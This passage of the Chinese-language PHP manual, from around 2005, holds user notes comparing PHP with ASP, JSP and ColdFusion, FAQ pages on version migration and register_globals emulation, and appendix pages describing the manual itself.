Also, ASP.net can make things that PHP don't such as manipulate the server's filesystem (y use that technique in the database system of my own CMS made with .net) and not only the files that are inside the website. Also, ASP.net make a lot easier for programmers to make programs that communicate with the web site without needing of a browser (I use that technique in a small application that allows my site's users to "navigate" the site and also send and receive personal messages a lot faster than with the web)

PHP needs to get improved to be better than ASP.net. I hope that the better wins
symcbean
21-Feb-2005 07:00
I really must take issue with (Cash at nospam dot thesilverside dot com)'s comments regarding enterprise applications and PHP.

Yes, PHP is an interpreted language (but...PHP Accelerator? also you can write caching *with* PHP, also checkout http://shootout.alioth.debian.org/, and have you seen the benchmarks for Pharrot?). Adding more tiers into your application is a recipe for disaster since it reduces scalability by creating bottlenecks/crossovers and has a big impact on transparency. I'll admit that for a very few applications, then server hardware is more expensive than developer time - like if you're turning around more than 500000 hits/hour, then it may work out cheaper to develop in 'C' with half the servers than PHP, but this is far from the sort of volume I've seen on an enterprise application. There's a lot been written elsewhere on PHP and scalability which I won't repeat here.

There are issues with using PHP for this kind of application. Firstly managment of privilege - but that applies (AFAIK) to any web-based system. There's also the problem of namespace collisions in large apps.

Since I regularly develop embedded applications with PHP using HTTP as the communications substrate for transactions spanning 6 or more origanisations, I'd like to know whay I shouldn't be using PHP / processing synchronously, and how I can create a near real-time system without synchronous operation.

It'd be a sad world to live in where there was only one programming language/methodoly/idiom - diversity is a great thing. Java provides beans and struts, Coldfusion provides fast development and .NET....(suggestions please). PHP comes closest to solving my problems, many of which are very much in the enterprise applications domain.
Web Consultant Since 1994
20-Jan-2005 03:26
...Well, all I can say about ASP.NET and the .Net frameworks is that rather than adopt them we decided to switch all of our development to PHP and other open-source tools. We simply got tired of all the churing of the development platform from $soft: things like changing API's during final betas, undocumented api's etc.

Ive programmed in C, C++, VB, ASP (since the original beta in 1995) and ASP.Net, Com, Com+, .Net Frameworks and in C("sharp"). The fact of the matter is that most of these new and "improved" development tools dont save much, if any money, and are mostly, unnecessary. We have found PHP to be an excellent replacement for similar $soft tools and technologies for web development.

Its true that there is a bit more code required to supplement things that $soft and others give you for a price, but the bottom line is that most of these things are not very difficult to do properly. In our business there is a huge risk from not having access to source code and we simply cant be held hostage by a third party company: when you add up the dollar value of this risk for our business it far exceeds the few dollars we need to spend in extra supplemental coding - which is done once so its a one-time cost.
berjoza at bigmir dot net
27-Mar-2004 12:25
How about PHP and JAVA?
You can use PHP vs JAVA in following order
  1. In php.ini file add
   - extension=php_java.dll
   -
     [Java]
         java.class.path  =  "c:\usr\local\php\extensions\php_java.jar"
         java.home      =  "c:\usr\local\j2sdk1.4.2_03"
         java.library      =  "c:\usr\local\j2sdk1.4.2_03\jre\bin\server\jvm.dll"
         java.library.path =  "c:\usr\local\php\extensions"
Cash at nospam dot thesilverside dot com
12-Jan-2004 03:12
To correctly utilize PHP in enterprise applications, one may want to bear in mind that if PHP is being used synchronously, it should be kept to the presentation layer only. Other languages that were previously mentioned througout the notes above (such as Perl, Java, and the .NET CLR... if you're on Windows) would be more appropriately used within the business process and data access layers. If you really want to maintain higher speed on presentation, then perhaps one would want to incorporate asynchronous instead of synchronous processing into the presentation layer of your application.

In other words, if you are using a connected data source, such as a SQL database, try shifting the processing time back a layer by providing a medium interval return from the data source to an XML file that the web service can access. This will allow your web presentation layer to load the data significantly faster than it is now. It will also give more resources back to PHP and your web service processes.

If you still cannot get the PHP processes back up to par, then you should consider using PHP as an asynchronous page constructor, thus shifting PHP itself back to the business process layer and allowing the web service (Apache, IIS, Netscape, etc.) to return HTML files instead.

Aside from page caching, (to my knowledge) you simply cannot get any faster than that.
Tricrokra
26-Oct-2003 09:28
I have to note that a very big advantage of PHP over ASP is that PHP has much easier commands...

Take openening of a file in ASP...
First create a file object... I put this into a function because the line is simpy to long and I called it "Init fileobject"

<%
Initfileobject    'The Sub I created in order not to type that idot line all the time
Set Fil = FileObject.OpenTextFile(Server.MapPath("data")&"\datafile")
datavar = Fil.ReadLine
CloseFile Fil
Set Fil = Nothing
Set FileObject = Nothing
%>

Why always those objects...

The same thing in PHP

<?php
$fil = fopen("data/datafile","r");
$datavar = fgets($fil);
fclose($fil);
?>

That's all...

And that while VBScript is based on BASIC (BEGINNERS Allpurpose Symbolic Instruction Code)...

I code too shortly in PHP to make a full analysis yet, but the complex object structues of VBScript is something I really put in question, PHP has a much easier syntax when it comes to that...

One of the first things I saw was that PHP is based on C, which is one of the hardest programming languages in the world. That makes the syntax of for example the "for" statement less to my desire, which I like better in VBScript (ASP)... If you are an experienced C or C++ programmer, I think PHP makes automaticly the best choice out of PHP vs ASP.

But I did find out in only 1 hour that the syntax of PHP gives you much less typing than ASP, that is a fact. I think that for the rest the pick of language is pretty personal.

When it comes to stability. ASP servers crash very much. I don't think ASP itself is the evil one in this. ASP only runs on Windows servers, and we all know how much Windows crashes. I truely believe that also picks a part of the puzzle...
atoi_monte at hotmail dot com
25-Jul-2003 02:34
---------------------------------
QUOTE:
This is a comparison between PHP and Java/JSP:

http://www.tek271.com/articles/JavaOrPhp.html

Any comments?
---------------------------------

Probably the worst comparison I have seen in a long while. They penalize PHP for class scope and global variables and such.

1)  While that may be relevant for APPLICATION programming, it's totally irrelevant for web programming.  Web programming, imho, is about being able to get a quick, organized solution out QUICKLY so that it can be maintained and dynamic. The global variables, lack of package system, and loosely typed nature of PHP makes it easier to use and get stuff done in, while the syntax is still clean and easy to maintain. On applications programming.. yes.. Java is a better solution. But for web programming, JSP doesn't hold a candle to PHP, imo.

2) With PHP 5, I would just like to remind everyone, there will be a lot of concessions to Java programmers (mostly to lure C++ hackers to PHP over C# or Java) like constants, abstract stuff, and access control. While it won't impact the programming that much ( you can still code just like you always have) you can at least feel more like C++ when we finally get to use PHP5.

dan
anonymous at coward dot com
09-Apr-2003 03:23
As far as I can see, Web Consultant apparently missed the topic, which was "3. PHP vs. Cold Fusion", not "PHP vs. compiled languages (JSP,ASP.NET, and ColdFusion MX)".

We probably all agree that PHP, compared to what ColdFusion was at the time of the writing of that part of this FAQ, is far more capable of complex scripts, and also generally outperforms ColdFusion in similar tasks, too.

I'm not familiar with ColdFusion MX, but as it sounds like it's a rather new product, I would draw the conclusion that it isn't what the writer of this FAQ had in mind when addressing PHP vs. ColdFusion comparisons.

Surely, Web Consultant must have made the same conclusion based on his discovery that the FAQ is outdated and thus should be updated.

cheers.
Web Consultant
05-Apr-2003 05:39
Sounds like this FAQ needs to be updated.

How about ASP.NET and .NET Framework?
How about ColdFusion MX?

PHP has limited/None out-of-the-box database integration with popular RDBMS(Oracle,SQL Server), integration with COM and to Java Servlet and Enterprise Javabeans, that alone make ColdFusion MX and ASP.NET an attractive development platform.

PHP might be good for developing non complex websites for no cost; however when you are developing enterprise web  systems that have to integrate with many different flavor of sources .. php does not have the out-of-the-box functionality for the above needs.

"PHP is commonly said to be faster and more efficient for complex programming tasks and trying out new ideas. PHP is generally referred to as more stable and less resource intensive as well. "

I like to see proof of this statement. How is a interpreted  languge faster and less resource intensive than a compiled languge(JSP,ASP.NET, and ColdFusion MX)?

ColdFusion MX Server cost about $1300, but the total built in functionality and versatility makes it a worthwhile. If you start out with PHP, ask yourself how much time and money you have in developing the source to provide the functionality you are looking for.

PHP vs ColdFusion MX
http://www.macromedia.com/devnet/mx/coldfusion/articles/php_cfmx.html
phalcomb at arbolnet dot com
06-Feb-2003 10:29
My experience with ASP and PHP is about equal, I think they both serve equally as good of a purpose depending on what the programmer is trying to do. I do like the syntax of PHP a lot and the speed of it is great, although the client/server interactivity of ASP with Windows and MAC clients is what I'm excited to see grow with future versions of PHP.
mavi_br at someplace dot com
14-Dec-2002 09:02
I've been working with PHP, JSP, Java and CFM for 2 years now.
I can tell that for web development only, php is not nearly as good as cfm on speed, on ease to use and on interaction.
On the other hand you just can't do anything very special with CF like opening a socket with the ease of php.
I would say : use what you need for your application, cfm is truly the fastest, as it has a daemon running instead of a per request, plus the ability to cache queries that is awesome.
php is fast but is a pain on some aspects and has loads of bugs.
JSP have almost no bug at all, or at least i did not find any, but it is hard to debug.
Good thing on JSP is that you can write real applications and have perfect interaction by using classes, plus it is much more of a serious language.The only problem is that you take at least twice times to make same program on JSP and it is not even close as well documented and easy to use as php.
nospam at phppatterns dot com
23-Nov-2002 08:54
Here's a PHP coders response to Abduls "Java or PHP" article?

"PHP or Java?": http://www.phppatterns.com/index.php/article/articleview/12/1/3/
dir at badblue dot com
26-Sep-2002 12:51
To ahabra,

Very interesting page.  I would ask the following, however as you investigate this topic further... you'll soon become the PHP vs. Java guru.

Your comparisons are interesting and well thought out.  I would also add some higher-level (less computer-science oriented, simply because the task at hand is generating web pages 'on the fly').  As a pure CS language, there is no doubt that Java is superior.  But as a web page generator, I have moved from a Java-centric approach to a PHP approach, leveraging servlets or beans as needed "under the covers".

Therefore, some higher-level things to consider:

1) Compare the complexity of real-world production applications (postnuke.com vs ? in content management, phpbb.com vs. ? in discussion boards, jpgraph vs. ? in graphing).  In my mind, the proof is in the pudding - which technology results in the better, more production-ready applications?  They may be out there for Java - I would just like to know where they are and who is using them.

2) Compare slinging (generation) of markup which is where PHP excels (as it was designed to sling markup - this includes features such as character transformations, variable accessibility, web page captures (see the fopen call which captures a web page in a single function call).  Your point about a string being encapsulated in a string class is somewhat irrelevant if you are a programmer cranking markup.  Embedding object-oriented code into a page can be much more painful (and slower to execute) than leveraging traditional coding techniques.

3) Compare native database and directory support.  Java would have the advantage in generic database access (JDBC) but PHP has the advantage in LDAP support (JNDI has several bugs which we have run into - quite painful) and native database access (e.g., Oracle or MySQL integration).

Overall, well done - and a very popular topic!  It's worth building it out further.
developer at i-space dot org
05-Mar-2002 12:34
If you ever tried to configure a web server for WAP, serving WML content you know it's not an easy job. You can easily make dynamic WML pages for mobile phone users with PHP. All the options and extras from DB+PHP oriented web-site can easily be transfomed into a WAP version of your site. With a single line - Header("Content-type: text/vnd.wap.wml"); you can be in another "mobile" dimension :). Take all you need ... and even more.
nick at divbyzero dot com
30-Aug-2001 06:45
Actually, ASP isn't as terrible as one might think, if you have a background in Javascript (or other object-based languages with dot-notation (object.object.function()). VBScript is a pain, true (cuz it looks, feels, and smells of VB), but JScript is a lot nicer and syntactically looks like Javascript with extra functions added for server-side stuff (ie., file i/o) that Javascript can't do client-side.

And while most of the code samples on the net and documentation talks about VBScript, JScript docs and manuals can be found on M$'s sites in a few places.

Where VBScript has that painful

IF ...
ENDIF

crap, JScript has the friendly

if () {
 // ...
}

and even

for (indexVar in ArrayName) {
  // ...
}

stuff, very much like PHP's foreach() looping.

Once you get around the bulky object syntax for opening, closing, writing, appending files/folders, it's not too bad. Good regExp handling, too. And translating from PHP to ASP and back again is a good programmatic exercise for those trying to stay grounded in object (Javascript/Jscript) and function (PHP) notation differences.

eg., preg_replace("/pattern/","replacement",$source);
becomes source.replace(/pattern,"replacement");
etc.

For examples of code workarounds I've built to translate PHP functionality to ASP and vice versa (like translating PHP's file() into ASP), check out: http://divbyzero.com/PHP/ and http://divbyzero.com/ASP/

- nick@divbyzero.com
add a note add a note

后退 | 起点 | 前进
PHP 和 COM | 上一级 | 从 PHP/FI 2 移植到 PHP 3


从 PHP/FI 2 移植到 PHP 3

PHP 手册
后退 前进

章 57. 从 PHP/FI 2 移植到 PHP 3

PHP 已经有一段很长的历史：传奇的 PHP 1.0，PHP/FI，PHP 3.0 和 PHP 4.0。

1. 从 PHP/FI 2 移植到 PHP 3？

1. 从 PHP/FI 2 移植到 PHP 3？

PHP/FI 2.0 不再被支持。从 PHP/FI 2.0 移植的信息请看手册相应章节。

如果你仍然使用 PHP 2，我们强烈建议你直接升级到 PHP 4。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PHP 和其它语言 | 上一级 | 从 PHP 3 移植到 PHP 4


从 PHP 3 移植到 PHP 4

PHP 手册
后退 前进

章 58. 从 PHP 3 移植到 PHP 4

PHP 已经有一段很长的历史：传奇的 PHP 1.0，PHP/FI，PHP 3.0 和 PHP 4.0。

1. 从 PHP 3 移植到 PHP 4
2. Session 是否可以工作在 PHP 3 下？
3. 不兼容的函数问题？

1. 从 PHP 3 移植到 PHP 4

PHP 4 被尽可能的设计为与早期的 PHP 版本兼容。在 PHP 4 的设计开发过程中，只有非常少的早期 PHP 版本具有的功能被 PHP 4 删除。如果不敢确定你的 PHP 文件的兼容性，可以安装一个 PHP 4 测试环境来测试你的 PHP 文件。

相关信息请查看附录中的相应章节。

2. Session 是否可以工作在 PHP 3 下？

尽管“本地会话支持”在 PHP 3 中并不存在，但是有第三方的应用程序能够提供会话功能。最通常的方法是使用 PHPLIB。

3. 不兼容的函数问题？

由于 PHP 4 基本上只是重写了整个 PHP 引擎，因此只改变了很少的几个函数而且只是外来函数中的几个。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
从 PHP/FI 2 移植到 PHP 3 | 上一级 | 从 PHP 4 移植到 PHP 5


从 PHP 4 移植到 PHP 5

PHP 手册
后退 前进

章 59. 从 PHP 4 移植到 PHP 5

本章节将帮你从 PHP 4 移植到 PHP 5。

1. 从 PHP 4 向 PHP 5 移植
2. PHP 5 中还能用 MySQL 吗？好像找不到了。
3. 听说 PHP 有个全新的 OOP 模型，那现有的 OOP 代码还能运行吗？上哪去找这些新的 OOP 特性的信息？
4. 除了 OOP 模型，PHP 5 还有哪些改动？此外，有没有专门针对 PHP 5 的手册？

1. 从 PHP 4 向 PHP 5 移植

尽管 PHP 5 提供了很多新特性，但它还是尽可能设计得与之前版本的 PHP 兼容，只有很少功能不一致。

确认阅读了本手册中相应的 PHP 5 移植附录，它包含了更多移植到 PHP 5 的信息。

2. PHP 5 中还能用 MySQL 吗？好像找不到了。

MySQL 依然被支持，唯一区别是 PHP 5 中默认为不激活。这意味着在 PHP 的 configure 一行中不包含有 --with-mysql 选项，因此必须在编译时手工加入。Windows 用户可以编辑 php.ini 并激活 php_mysql.dll DLL。在 PHP 4 中没有这个 DLL，因为已经编译进 PHP 可执行文件中去了。

此外，MySQL 客户端库也不再绑定于 PHP 中了。有关此题目的更多细节见此 FAQ。另外确保阅读了 MySQL 章节中的安装详情。一个配置行的例子是 --with-mysql=/usr，Windows 用户则需要 libmySQL.dll。

3. 听说 PHP 有个全新的 OOP 模型，那现有的 OOP 代码还能运行吗？上哪去找这些新的 OOP 特性的信息？

PHP 5 的主要改进就是 OOP 模型现在使用了 Zend Engine 2.0。zend.ze1_compatibility_mode 指令将激活与 Zend Engine 1.0（PHP 4）的兼容性。

新的 OOP 模型文档见 OOP 语言手册和 OOP 移植附录章节。

4. 除了 OOP 模型，PHP 5 还有哪些改动？此外，有没有专门针对 PHP 5 的手册？

其它几个改动见移植到 PHP 5 附录。没有专门的 PHP 5 手册，因为 PHP 的主要部分还是一样的。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
从 PHP 3 移植到 PHP 4 | 上一级 | 杂类问题


杂类问题

PHP 手册
后退 前进

章 60. 杂类问题

有些问题没法归到其它类中，可以在这里找到。

1. 在 Windows 中怎样处理 bz2 压缩的文档？
2. 在函数定义中，参数旁边的 & 是什么意思？例如 asort()。
3. 怎么处理 register_globals？

1. 在 Windows 中怎样处理 bz2 压缩的文档？

如果没有能处理 bz2 文件的压缩工具，从 Redhat 下载一个命令行工具（进一步信息见下面）。

如果不喜欢用命令行工具，可以试试免费工具例如 Stuffit Expander，UltimateZip，7-Zip 或者 Quick Zip。如果有像 WinRAR 或者 Power Archiver 之类的工具，可以很容易用它解压缩 bz2 文件。如果用 Total Commander（前身为 Windows Commander），可以从 Total Commander 网站免费得到一个 bz2 插件。

来自 Redhat 的 bzip2 命令行工具：

Win2K Sp2 用户下载最新版本 1.0.2，所有其它 Windows 用户应该用版本 1.00。下载后重命名可执行文件为 bzip2.exe。为方便起见将其放到一个在你路径中的目录，例如 C:\Windows，C 表示你安装 Windows 的盘符。

注意：lang 指的是你的语种，x 是想要的格式，例如：pdf。要解压缩 php_manual_lang.x.bz2，按照下面的简单说明进行：

  • 打开一个命令行窗口

  • 进入存放已下载的 php_manual_lang.x.bz2 的目录

  • 调用 bzip2 -d php_manual_lang.x.bz2，将 php_manual_lang.x 释放到同一个目录

在下载了包含很多 html 文件的 php_manual_lang.tar.bz2 的情况下，过程是一样的。唯一区别是得到了一个 php_manual_lang.tar 文件。tar 格式可以被大多数 Windows 下流行的压缩工具所处理，例如 WinZip。

2. 在函数定义中，参数旁边的 & 是什么意思？例如 asort()。

这表示该参数是引用传递，该函数会修改其值。只可以用此方法传递变量，其实都不需要在函数调用中用 & 传递（此方式都已过时了）。

3. 怎么处理 register_globals？

有关 register_globals 实现方面的安全性，请阅读使用 register_globals 一章。

推荐使用超全局变量而不要依赖 register_globals。

如果需要在一台关闭了 register_globals 的共享主机上运行一些旧式程序而该程序需要此选项打开时，或者在一些打开了此选项的主机上但想消除安全隐患，那么就需要用 PHP 来模拟出相反的设定。最好先问清楚是否能否在哪里更改 PHP 配置的选项，如果不行，那可以用如下的兼容手段。

例子 60-1. 模拟注册全局变量

本例模拟 register_globals On。

<?php
// Emulate register_globals on
if (!ini_get('register_globals')) {
    $superglobals = array($_SERVER, $_ENV,
        $_FILES, $_COOKIE, $_POST, $_GET);
    if (isset($_SESSION)) {
        array_unshift($superglobals, $_SESSION);
    }
    foreach ($superglobals as $superglobal) {
        extract($superglobal, EXTR_SKIP);
    }
}
?>

本例模拟 register_globals Off。要记住此代码应在脚本最开头的地方调用。

<?php
// Emulate register_globals off
function unregister_GLOBALS()
{
    if (!ini_get('register_globals')) {
        return;
    }

    // Might want to change this perhaps to a nicer error
    if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) {
        die('GLOBALS overwrite attempt detected');
    }

    // Variables that shouldn't be unset
    $noUnset = array('GLOBALS',  '_GET',
                     '_POST',    '_COOKIE',
                     '_REQUEST', '_SERVER',
                     '_ENV',     '_FILES');

    $input = array_merge($_GET,    $_POST,
                         $_COOKIE, $_SERVER,
                         $_ENV,    $_FILES,
                         isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());

    foreach ($input as $k => $v) {
        if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) {
            unset($GLOBALS[$k]);
        }
    }
}

unregister_GLOBALS();

?>

add a note add a note User Contributed Notes
20-Jul-2005 12:08
using .htaccess file to disable register globals (register_globals)

The syntax for setting an option is:

php_value name value
php_flag name on or off

Example:

php_flag register_globals off
php_value arg_separator.output &amp;

The example turns off register_globals and sets the value of arg_separator.output to &amp; which is preferred rather than the default &.

Note: you can also set boolean options with the php_value directive, the string will be converted to boolean before assignment.

you can also use .htaccess to  turn magic quotes on or off.
Search php.net and you'll find it
markus
19-Jun-2005 06:34
Considering the comment below. I think there's a way to avoid that "problem":

<?php
//
// $starttime is an example of a variable that we might need to define,
// even before, running the "register_globals OFF" emulator below.
//
list($msec, $sec) = explode(' ', microtime());
$starttime = ((float)$msec + (float)$sec);

//
// If register_globals is ON, ensure no unexpected globals are defined.
// ie. We'll try to emulate a register_globals OFF environment.
//
if( (bool)@ini_get('register_globals') )
{
   $superglobals = array($_ENV, $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER);
   if( isset($_SESSION) )
   {
       array_unshift($superglobals, $_SESSION);
   }
   $knownglobals = array(
       //
       // Known PHP Reserved globals and superglobals:
       //
       '_ENV',        'HTTP_ENV_VARS',
       '_GET',        'HTTP_GET_VARS',
       '_POST',    'HTTP_POST_VARS',
       '_COOKIE',    'HTTP_COOKIE_VARS',
       '_FILES',    'HTTP_FILES_VARS',
       '_SERVER',    'HTTP_SERVER_VARS',
       '_SESSION',    'HTTP_SESSION_VARS',
       '_REQUEST',

       //
       // Global variables used by this code snippet:
       //
       'superglobals',
       'knownglobals',
       'superglobal',
       'global',
       'void',

       //
       // Known global variables defined before this code snippet is reached.
       //
       'starttime',
   );
   foreach( $superglobals as $superglobal )
   {
       foreach( $superglobal as $global => $void )
       {
           if( !in_array($global, $knownglobals) )
           {
               unset($GLOBALS[$global]);
           }
       }
   }
}
?>

Note the stuff related to the $_SESSION array depends on whether the PHP session has been started or not. You might want to call session_start() before this point (or set session.auto_start ON).

HTH+ :)
php at REMOVEMEkennel17 dot co dot uk
13-Apr-2005 11:22
Regarding simulating register_globals = off, note that it is impossible to adequately prevent $_SESSION variables from being globalised, as the array (and thus the globals) are created on a call to session_start().  You would therefore have to 'undo' this when you start a session as using it at the start of your script will have no effect.

To avoid potential problems, use a prefix that is unique for all session variables (e.g. 'SESS_'), and only access them via the $_SESSION array.  The prefix ensures that you don't have a naming clash (and therefore a security risk) with any non-session globals.
Juhapekka Tolvanen
19-Feb-2005 03:34
I added many links to software that can at least decompress Bzip2-files here:

http://en.wikipedia.org/wiki/Bzip2
add a note add a note

后退 | 起点 | 前进
从 PHP 4 移植到 PHP 5 | 上一级 | 附录


PHP 手册

版权信息

Copyright 1997 - 2005 PHP 文档组版权所有。发布本资料须遵守开放出版许可协议 1.0 或者更新版本。一份开放出版许可协议的拷贝已随本手册发布，其最新版本位于 http://www.opencontent.org/openpub/。

未经版权所有者明确授权，禁止发行本文档被实质上修改的版本。

未经版权所有者事先授权，禁止将此作品及其衍生作品以标准（纸质）书籍形式发行。

如果有兴趣再发行或再版本手册的全部或部分内容，不论修改过与否，或者有任何问题，请联系版权所有者 doc-license@lists.php.net。注意本地址映射到一个公开归档的邮件列表。

本手册中 Zend API 一章是根据 Zend Technologies 提供的内容而来。

add a note add a note User Contributed Notes
15-Jul-2002 12:32
For more information on the PHP Group and the PHP project, please see http://www.php.net/.
add a note add a note

起点


关于本手册

PHP 手册
后退 前进

附录 Q. 关于本手册

目录
手册的格式
关于用户注释
如何阅读函数的定义（函数原型）
本手册中所涉及的 PHP 版本
如何得到关于 PHP 更多的信息
如何帮助改进本文档
如何生成手册的各种格式
手册译文

手册的格式

《PHP 参考手册》提供了多种不同格式的版本，它们可以分为两组：在线阅读版本和可下载包。

注: 有些出版商可能已经出版了本手册的一些印刷版本，但不推荐使用它们，因为 PHP 参考手册更新得非常快，这些印刷版本的内容很快将过时。

可以访问 PHP.net 网站及其众多的镜像站点来在线阅读《PHP 参考手册》。为了保证最佳的访问速度，应该选择地理位置最接近的镜像站点。PHP 手册的 HTML 版本既有纯 HTML 版（便于打印的），也有看上去和感觉上和 PHP 站点上的手册一样的版本。

和绝大多数离线格式的手册相比，在线阅读版本有两个显著的优点，即它集成了用户注释，并且可以使用其中的 URL 快捷方式快速进入手册中想阅读的部分；但是，它的明显的缺点是必须保持一直在线来阅读。

目前，《PHP 参考手册》提供多种离线阅读格式，最适合于自己的格式取决于所使用的操作系统和个人的阅读习惯。关于《PHP 参考手册》如何被制作成如此多的版本，请查阅本附录中“如何生成手册的各种格式”一节。

跨平台性最好的格式是 HTML 格式格式。HTML 格式提供了两种方式：一种只有一个很大的 HTML 文件；另一种方式是每一节分成一个独立文件，它们形成一个包含有几千个文件的文件包。我们提供的是这两种版本的压缩包，需要使用解压缩工具解压出压缩包中的文件。

对于 Windows 平台，我们利用了 Windows 的超文本帮助应用程序结合本手册的 HTML 格式，形成了本手册的 Windows 超文本帮助版本。该版本提供手册的全文搜索、完整的索引以及书签功能。很多 Windows 平台下流行的 PHP 集成开发环境也集成了该版本的手册，以给开发者提供最方便快捷的参考。CHM 阅读器也有 Linux 版本，可以到 xCHM 或 GnoCHM 网站了解更多信息。

同时，PHP 手册也有扩展 CHM 版本提供下载。它更新的速度比较慢，但是提供了附加的功能。由于制作帮助页面时采用的技术的特殊性，它只可在 Microsoft Windows 下工作。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
解析器代号列表 | 上一级 | 关于用户注释


如何生成手册的各种格式

本手册使用 XML 语言编写，同时运用了 DocBook XML DTD。还用了 DSSSL（Document Style and Semantics Specification Language，文档样式和语义规格语言）来控制格式。同时，在实验上我们运用 XSLT（Extensible Stylesheet Language Transformations，可扩展样式表语言转换）来维护格式。

将 XML 语言作为源文件格式，使得我们只需维护该源文件文档，就可以可以利用它生成许多其它的输出格式。输出 HTML 和 TeX 版本的工具是由 James Clark 开发的 Jade，以及由 Norman Walsh 开发的 The Modular DocBook Stylesheets。我们使用 Microsoft HTML Help Workshop 来生成本手册的 Windows 超文本帮助格式。当然，PHP 本身也完成了其它一些转换和格式化工作。

PHP 手册被生成多种不同语言和格式，详情见 http://www.php.net/docs.php。XML 源代码可以通过 CVS 下载，并通过 http://cvs.php.net/ 在线浏览。文档存放于 phpdoc 模块中。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
如何帮助改进本文档 | 上一级 | 手册译文


如何帮助改进本文档

可以通过以下三种途径来帮助改善本文档。

如果发现本手册任何一个格式的版本中有错误，请通过设在 http://bugs.php.net/ 的纠错系统向我们报告，并将提交的错误分类为“文档问题 (Documentation Problem)”。所有文档相关的问题，包括手册格式，都应作为错误提交。

注: 请勿滥用纠错系统来寻求帮助。如需帮助请访问支持页面。

通过提交注释，用户可以向其它读者提供更多的范例、解释和阐述。但请勿在注释系统提交错误报告。更多细节见关于用户注释一节。

PHP 手册被翻译成很多种语言。如果懂英语和另一种语言，可以加入翻译团队来帮助改善文档。有关开始一个新语言版本的翻译或者加入某一个语言版本的翻译工作，请下载并阅读 http://cvs.php.net/co.php/phpdoc/howto/howto.html.tar.gz。

该文档的简体中文版可在 http://cvs.php.net/phpdoc-zh/howto/howto_zh_cn.html.tar.gz 下载。

PHP 文档项目也有一个 IRC 频道，许多手册作者都常去。可以访问 irc.freenode.net 服务器上的 #phpdoc 与他们讨论改善 PHP 文档的方法。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
如何得到关于 PHP 更多的信息 | 上一级 | 如何生成手册的各种格式


如何得到关于 PHP 更多的信息

本手册并不打算提供基本的编程开发指导。刚学编程的或者新手程序员会发现仅仅用本手册来学习如何用 PHP 编程是一件很困难的事情。为了寻找一本更适合初学者的书，请访问 http://www.php.net/books.php 查看 PHP 相关书籍的列表。

目前，PHP 官方提供了许多邮件列表来讨论 PHP 编程相关的各个方面的问题。如果卡在了某个问题上，可以到该邮件列表寻求帮助。有关支持以及邮件列表请访问 PHP.net 支持页面。此外，在 PHP.net 链接页面有一个关于 PHP 相关网站的列表，在这些网站中可以找到和 PHP 相关的文章、论坛和代码。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
本手册中所涉及的 PHP 版本 | 上一级 | 如何帮助改进本文档


关于用户注释

用户注释在本手册的开发过程中搬演了相当重要的角色。通过允许手册的读者利用它们的浏览器提供范例、解释和进一步的阐述，我们便能够把这些反馈信息包含到手册的正文中。而且，当这些注释被包含后，读者就可以在线通过它们被提交的格式来阅读它们，也可以通过某些离线格式来阅读。

注: 用户注释在网上出现之前并不成熟，因此这些文字和代码的质量，甚至它们的真实性无从得到保证。（这并不是说本手册本身的质量和准确性没有任何的保证。）

注: 由于用户注释被认为是 PHP 手册的一部分，因此它也被保护本文档的许可协议（目前为开放出版许可协议）所保护。请查阅手册版权页以了解更多详细信息。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
关于本手册 | 上一级 | 如何阅读函数的定义（函数原型）


本手册中所涉及的 PHP 版本

本文档包含有 PHP 4 和 PHP 5 有关的内容，以及一些关于 PHP 3 移植和兼容的注意事项。PHP 不同版本之间的行为、参数、返回值和其它改变都以“注意”的形式加入了本手册的正文。

有部分 CVS 版的 PHP 文档。CVS 版是最新开发的版本，但尚未发布，只能通过 CVS 或者 snapshot 来获得。所以要注意标注有“仅在 CVS 版可用”的特性通常还不可用。但这些特性很可能会出现在 PHP 下一个稳定版本中。要下载 CVS 版本，请查看 CVS 的匿名访问。

还有可能遇到一些文档仅适用于尚未发布的 PHP 版本（例如 PHP 5.0.0，而当前最新的稳定版本是 4.3.x）。多数情况下，这并不是文档中的错误，我们经常在文档中加入一些目前版本尚未支持的特性描述，但这些特性将在未来某一个确定的 PHP 版本中实现。一般来说，PHP 仅在发布主要版本的时候增加新功能，而其他情况只是 bug 的修正。版本号使用 A.B.C 的格式，发布主要版本时，A 或 B 数值增加，而发布次要版本时，C 数值增加。因此，若当前只发布了 PHP x.0.x，但是手册中出现 x.1.x 的功能描述，这并不奇怪。但也请注意，手册是为现在写的，不是为将来写的。

PHP 手册会多次列出 PHP 配置选项的“默认值”。这些默认值是基于 php.ini-dist，而不是 php.ini-recommended。同时这些值也是基于最新版本的 PHP。请参考 PHP 配置选项列表以了解更多信息。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
如何阅读函数的定义（函数原型） | 上一级 | 如何得到关于 PHP 更多的信息


如何阅读函数的定义（函数原型）

文档中的每个函数都只是快速参考，学会如何阅读和理解文档将使得 PHP 的使用更加简单。和依赖赖于复制／粘贴范例比起来，用户一定更希望知道如何阅读函数的定义（函数原型）：

先决条件，对变量类型的基本理解: 尽管 PHP 是亚类型语言，但对变量类型有一个基本的理解也是非常重要的，因为它们有重要的意义。

函数定义告诉我们函数返回什么类型的值，让我们用函数 strlen() 的定义作为第一个范例：

strlen

(PHP 3, PHP 4, PHP 5)
strlen -- 获取字符串长度

描述
int strlen ( string str )

返回字符串的长度。

表格 Q-1. 函数定义

组成部分 | 说明
strlen | 函数名称
(PHP 3, PHP 4, PHP 5) | strlen() 在 PHP 3 、PHP 4 和 PHP 5 中都存在
int | 该函数返回的值的类型，这里为整型。（例如，字符串的长度是以数字来衡量的）
( string str ) | 第一个（本例中是唯一的）参数，在该函数中名为 str，且类型为 string。

可以将以上函数的定义写成一般形式：

返回类型    函数名    ( 参数类型   参数名 )

很多函数都有多个变量，例如 in_array()。其函数原型如下：

